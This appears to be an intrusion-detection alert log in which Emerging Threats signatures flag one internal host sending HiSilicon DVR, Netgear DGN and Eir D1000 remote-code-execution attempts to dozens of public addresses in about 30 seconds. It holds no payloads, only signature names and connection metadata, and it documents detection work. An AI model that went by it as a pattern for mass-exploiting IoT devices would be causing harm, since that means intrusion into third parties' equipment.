Timestamp:	05/16/24-16:38:50.063983
SID:	2030488
Source Port:	56882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.128.164.149

Timestamp:	05/16/24-16:38:53.100272
SID:	2030488
Source Port:	49590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.9.168.230

Timestamp:	05/16/24-16:39:03.277951
SID:	2030488
Source Port:	54098
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.9.168.230

Timestamp:	05/16/24-16:39:03.277951
SID:	2030487
Source Port:	54098
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.68.227.10

Timestamp:	05/16/24-16:38:55.226827
SID:	2030487
Source Port:	45294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.172.113.86

Timestamp:	05/16/24-16:39:14.491134
SID:	2030487
Source Port:	40316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.108.79.69

Timestamp:	05/16/24-16:39:02.726868
SID:	2030487
Source Port:	46570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.68.227.10

Timestamp:	05/16/24-16:38:55.226827
SID:	2030488
Source Port:	45294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.108.79.69

Timestamp:	05/16/24-16:39:02.726868
SID:	2030488
Source Port:	46570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.172.113.86

Timestamp:	05/16/24-16:39:14.491134
SID:	2030488
Source Port:	40316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.238.126.169

Timestamp:	05/16/24-16:39:16.579356
SID:	2030487
Source Port:	32798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.238.126.169

Timestamp:	05/16/24-16:39:16.579356
SID:	2030488
Source Port:	32798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.142.57.33

Timestamp:	05/16/24-16:39:12.304144
SID:	2030487
Source Port:	39976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.142.57.33

Timestamp:	05/16/24-16:39:12.304144
SID:	2030488
Source Port:	39976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.187.182.93

Timestamp:	05/16/24-16:39:16.607432
SID:	2030487
Source Port:	50248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 200.5.83.123

Timestamp:	05/16/24-16:38:58.086171
SID:	2023548
Source Port:	42296
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.248.180.90

Timestamp:	05/16/24-16:39:08.136776
SID:	2030487
Source Port:	39388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.248.180.90

Timestamp:	05/16/24-16:39:08.136776
SID:	2030488
Source Port:	39388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.187.182.93

Timestamp:	05/16/24-16:39:16.607432
SID:	2030488
Source Port:	50248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.128.164.149

Timestamp:	05/16/24-16:38:53.100272
SID:	2030487
Source Port:	49590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.155.225.122

Timestamp:	05/16/24-16:38:57.430005
SID:	2030487
Source Port:	55482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.19.113.99

Timestamp:	05/16/24-16:39:08.124464
SID:	2030488
Source Port:	36288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.142.224.238

Timestamp:	05/16/24-16:39:12.380488
SID:	2030488
Source Port:	49280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.142.224.238

Timestamp:	05/16/24-16:39:12.380488
SID:	2030487
Source Port:	49280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.199.198.143

Timestamp:	05/16/24-16:39:16.599369
SID:	2030488
Source Port:	51896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.19.113.99

Timestamp:	05/16/24-16:39:08.124464
SID:	2030487
Source Port:	36288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.155.225.122

Timestamp:	05/16/24-16:38:57.430005
SID:	2030488
Source Port:	55482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.199.198.143

Timestamp:	05/16/24-16:39:16.599369
SID:	2030487
Source Port:	51896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.58.244.78

Timestamp:	05/16/24-16:38:55.218340
SID:	2030487
Source Port:	43336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.58.244.78

Timestamp:	05/16/24-16:38:55.218340
SID:	2030488
Source Port:	43336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.32.27.251

Timestamp:	05/16/24-16:39:16.614022
SID:	2030488
Source Port:	39644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.71.189.39

Timestamp:	05/16/24-16:39:03.281767
SID:	2030487
Source Port:	43516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.71.189.39

Timestamp:	05/16/24-16:39:03.281767
SID:	2030488
Source Port:	43516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.32.27.251

Timestamp:	05/16/24-16:39:16.614022
SID:	2030487
Source Port:	39644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.5.206.191

Timestamp:	05/16/24-16:38:50.004285
SID:	2030488
Source Port:	37358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.5.206.191

Timestamp:	05/16/24-16:38:50.004285
SID:	2030487
Source Port:	37358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.154.239.16

Timestamp:	05/16/24-16:39:05.694660
SID:	2030487
Source Port:	39422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.43.140.189

Timestamp:	05/16/24-16:39:14.516221
SID:	2030487
Source Port:	46638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.43.140.189

Timestamp:	05/16/24-16:39:14.516221
SID:	2030488
Source Port:	46638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.151.108.3

Timestamp:	05/16/24-16:38:50.063924
SID:	2030488
Source Port:	47682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.237.172.41

Timestamp:	05/16/24-16:39:12.378474
SID:	2030487
Source Port:	54980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.237.172.41

Timestamp:	05/16/24-16:39:12.378474
SID:	2030488
Source Port:	54980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.151.108.3

Timestamp:	05/16/24-16:38:50.063924
SID:	2030487
Source Port:	47682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.205.86.165

Timestamp:	05/16/24-16:39:13.663454
SID:	2024916
Source Port:	36772
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.77.87.46

Timestamp:	05/16/24-16:38:53.064441
SID:	2030487
Source Port:	52664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.28.235.159

Timestamp:	05/16/24-16:39:16.579857
SID:	2030487
Source Port:	50112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.77.87.46

Timestamp:	05/16/24-16:38:53.064441
SID:	2030488
Source Port:	52664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.250.63.203

Timestamp:	05/16/24-16:39:05.513163
SID:	2024916
Source Port:	59346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.154.239.16

Timestamp:	05/16/24-16:39:05.694660
SID:	2030488
Source Port:	39422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.93.199.166

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	47570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.254.171.241

Timestamp:	05/16/24-16:38:50.004161
SID:	2030487
Source Port:	52240
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.28.235.159

Timestamp:	05/16/24-16:39:16.579857
SID:	2030488
Source Port:	50112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.254.171.241

Timestamp:	05/16/24-16:38:50.004161
SID:	2030488
Source Port:	52240
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.93.199.166

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	47570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.45.206.237

Timestamp:	05/16/24-16:39:08.146436
SID:	2030488
Source Port:	32818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.45.206.237

Timestamp:	05/16/24-16:39:08.146436
SID:	2030487
Source Port:	32818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.55.51.157

Timestamp:	05/16/24-16:38:57.305735
SID:	2030487
Source Port:	46730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.55.51.157

Timestamp:	05/16/24-16:38:57.305735
SID:	2030488
Source Port:	46730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.75.120.113

Timestamp:	05/16/24-16:38:59.609929
SID:	2030487
Source Port:	60002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.143.49.189

Timestamp:	05/16/24-16:39:12.304191
SID:	2030488
Source Port:	56526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.143.49.189

Timestamp:	05/16/24-16:39:12.304191
SID:	2030487
Source Port:	56526
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.137.134.217

Timestamp:	05/16/24-16:39:16.604226
SID:	2030487
Source Port:	55462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.137.134.217

Timestamp:	05/16/24-16:39:16.604226
SID:	2030488
Source Port:	55462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.40.212.227

Timestamp:	05/16/24-16:38:57.446028
SID:	2030488
Source Port:	60356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.40.212.227

Timestamp:	05/16/24-16:38:57.446028
SID:	2030487
Source Port:	60356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.75.120.113

Timestamp:	05/16/24-16:38:59.609929
SID:	2030488
Source Port:	60002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.70.213.125

Timestamp:	05/16/24-16:39:05.705304
SID:	2030488
Source Port:	35064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.70.213.125

Timestamp:	05/16/24-16:39:05.705304
SID:	2030487
Source Port:	35064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.160.198.68

Timestamp:	05/16/24-16:38:53.410286
SID:	2024916
Source Port:	57020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.83.16.175

Timestamp:	05/16/24-16:39:01.480548
SID:	2024916
Source Port:	37344
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.34.164.127

Timestamp:	05/16/24-16:39:14.522040
SID:	2030488
Source Port:	52488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.34.164.127

Timestamp:	05/16/24-16:39:14.522040
SID:	2030487
Source Port:	52488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.42.196.236

Timestamp:	05/16/24-16:39:14.492214
SID:	2030487
Source Port:	37806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.227.163.15

Timestamp:	05/16/24-16:39:16.611867
SID:	2030487
Source Port:	49744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.227.163.15

Timestamp:	05/16/24-16:39:16.611867
SID:	2030488
Source Port:	49744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.42.196.236

Timestamp:	05/16/24-16:39:14.492214
SID:	2030488
Source Port:	37806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.180.60.66

Timestamp:	05/16/24-16:38:57.303907
SID:	2030487
Source Port:	50184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.180.60.66

Timestamp:	05/16/24-16:38:57.303907
SID:	2030488
Source Port:	50184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.202.26.114

Timestamp:	05/16/24-16:39:05.705297
SID:	2030487
Source Port:	41160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.202.26.114

Timestamp:	05/16/24-16:39:05.705297
SID:	2030488
Source Port:	41160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.138.177.229

Timestamp:	05/16/24-16:38:57.424456
SID:	2030488
Source Port:	45350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.138.177.229

Timestamp:	05/16/24-16:38:57.424456
SID:	2030487
Source Port:	45350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.64.118.48

Timestamp:	05/16/24-16:39:05.706469
SID:	2030488
Source Port:	51478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.65.151.128

Timestamp:	05/16/24-16:38:55.207705
SID:	2030487
Source Port:	52798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.64.118.48

Timestamp:	05/16/24-16:39:05.706469
SID:	2030487
Source Port:	51478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.219.252.180

Timestamp:	05/16/24-16:38:57.304672
SID:	2030488
Source Port:	46928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.65.151.128

Timestamp:	05/16/24-16:38:55.207705
SID:	2030488
Source Port:	52798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.203.226.152

Timestamp:	05/16/24-16:39:12.380084
SID:	2030487
Source Port:	54886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.203.226.152

Timestamp:	05/16/24-16:39:12.380084
SID:	2030488
Source Port:	54886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 29.67.192.209

Timestamp:	05/16/24-16:39:09.587308
SID:	2034576
Source Port:	41208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.219.252.180

Timestamp:	05/16/24-16:38:57.304672
SID:	2030487
Source Port:	46928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.126.183.103

Timestamp:	05/16/24-16:38:55.226422
SID:	2030487
Source Port:	52638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.126.183.103

Timestamp:	05/16/24-16:38:55.226422
SID:	2030488
Source Port:	52638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.12.96.99

Timestamp:	05/16/24-16:39:08.128014
SID:	2030487
Source Port:	58260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.12.96.99

Timestamp:	05/16/24-16:39:08.128014
SID:	2030488
Source Port:	58260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.94.66.142

Timestamp:	05/16/24-16:39:14.507675
SID:	2030488
Source Port:	33960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.19.76.101

Timestamp:	05/16/24-16:38:50.047569
SID:	2030488
Source Port:	41460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.94.66.142

Timestamp:	05/16/24-16:39:14.507675
SID:	2030487
Source Port:	33960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.84.121.212

Timestamp:	05/16/24-16:39:05.677612
SID:	2030488
Source Port:	49898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.84.121.212

Timestamp:	05/16/24-16:39:05.677612
SID:	2030487
Source Port:	49898
Destination Port:	9530
Protocol:	TCP
